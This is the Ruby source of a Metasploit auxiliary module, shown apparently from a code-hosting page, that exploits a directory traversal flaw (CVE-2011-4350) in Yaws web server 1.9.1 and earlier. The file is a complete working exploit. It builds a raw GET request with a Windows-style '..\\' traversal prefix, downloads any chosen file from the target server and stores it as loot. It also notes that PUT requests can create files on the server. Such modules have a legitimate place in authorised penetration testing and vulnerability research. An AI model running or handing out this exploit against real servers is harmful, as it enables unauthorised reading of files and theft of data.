78 lines
2.1 KiB
Ruby
78 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Yaws Web Server Directory Traversal",
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'Description' => %q{
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This module exploits a directory traversal bug in Yaws v1.9.1 or less.
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The module can only be used to retrieve files. However, code execution might
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be possible. Because when the malicious user sends a PUT request, a file is
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actually created, except no content is written.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'sinn3r', # Metasploit module
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],
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'References' =>
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[
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['CVE', '2011-4350'],
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['OSVDB', '77581'],
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['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=757181']
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],
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'DisclosureDate' => "Nov 25 2011"
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))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini'])
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], self.class)
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deregister_options('RHOST')
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end
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def run_host(ip)
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# No point to continue if no filename is specified
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if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
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print_error("Please supply the name of the file you want to download")
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return
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end
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# Create request
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traversal = "..\\..\\..\\..\\"
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "/#{traversal}/#{datastore['FILEPATH']}"
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}, 25)
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# Show data if needed
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if res and res.code == 200
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vprint_line(res.to_s)
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fname = File.basename(datastore['FILEPATH'])
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path = store_loot(
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'yaws.http',
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'application/octet-stream',
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ip,
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res.body,
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fname
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)
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print_status("File saved in: #{path}")
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else
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print_error("Nothing was downloaded")
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end
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end
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end
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